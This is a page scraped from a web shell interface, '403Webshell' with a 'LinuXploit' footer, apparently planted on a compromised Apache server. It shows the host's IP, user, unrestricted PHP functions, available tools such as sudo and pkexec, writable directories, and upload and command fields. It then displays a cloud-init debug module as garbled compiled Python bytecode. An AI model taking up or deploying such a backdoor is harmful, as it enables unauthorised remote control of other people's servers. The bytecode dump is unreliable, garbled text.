403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_debug.cpython-36.pyc
3

��b}
�@s�UdZddlZddlmZddlmZddlmZmZm	Z	ddl
mZmZddl
mZddlmZed	g�Zd
Zddd
eegeed�gd�Zeee�Zdd�Zdd�Zdd�ZdS)z<Debug: Helper to debug cloud-init *internal* datastructures.�N)�StringIO)�dedent)�safeyaml�
type_utils�util)�
MetaSchema�get_meta_doc)�ALL_DISTROS)�PER_INSTANCEZlog_cfgsa	This module will enable for outputting various internal information that
cloud-init sources provide to either a file or to the output console/log
location that this cloud-init has been configured with when running.

.. note::
    Log configurations are not output.
Zcc_debugZDebugz4Helper to debug cloud-init *internal* datastructureszc            debug:
              verbose: true
              output: /tmp/my_debug.log
            )�id�name�title�descriptionZdistrosZ	frequencyZexamplescCsZt�}|jdd�|jd�|j|jdd��|jd�|jdd�|jd�|j�S)N�-�P�
� )r�write�center�getvalue)�text�header�r�/usr/lib/python3.6/cc_debug.py�_make_header0s


rcCstj|ddd�}|j�S)NF)Zexplicit_startZexplicit_end)r�dumps�rstrip)�objrrrr�_dumps;srcCs�tj|ddd�}|r"|d}d}ntj|d�}|sB|jd|�dStj|�}xtD]}|j|d�qRWt|�}	x"|	D]}|jd	�rt|j|d�qtWt	�}
|
j
td
��|
j
t|��|
j
d�|
j
td��|
j
t|j
j��|
j
d�|
j
td
��|
j
dtj|j
��|
j
dtj|j��|
j
d|jd��|
j
d|j��|
j
d|j��|
j
d|j�|
j�}g}x$|j�D]}
d|
}
|j|
��q�W|�r�tj|dj|�dd�ntjdj|�ddd�dS)z'Handler method activated by cloud-init.�debug�verboseT)�defaultr�outputz3Skipping module named %s, verbose printing disabledN�_ZConfigrZMetaDataZMisczDatasource: %s
zDistro: %s
z
Hostname: %s
zInstance ID: %s
zLocale: %s
zLaunch IDX: %s
zci-info: %s
�i��wF)Zconsole�stderr)rr )rr")rZget_cfg_by_pathr�copy�deepcopy�	SKIP_KEYS�pop�list�
startswithrrrrZ
datasourceZmetadatarZobj_nameZdistroZget_hostnameZget_instance_idZ
get_localeZlaunch_indexr�
splitlines�appendZ
write_file�joinZ	multi_log)rZcfgZcloud�log�argsr Zout_fileZdump_cfg�kZall_keysZto_print�contentsZcontent_to_file�linerrr�handle@sL





r5)�__doc__r'�ior�textwraprZ	cloudinitrrrZcloudinit.config.schemarrZcloudinit.distrosr	Zcloudinit.settingsr
�	frozensetr)ZMODULE_DESCRIPTION�metarrr5rrrr�<module>s*
	

Youez - 2016 - github.com/yon3zu
LinuXploit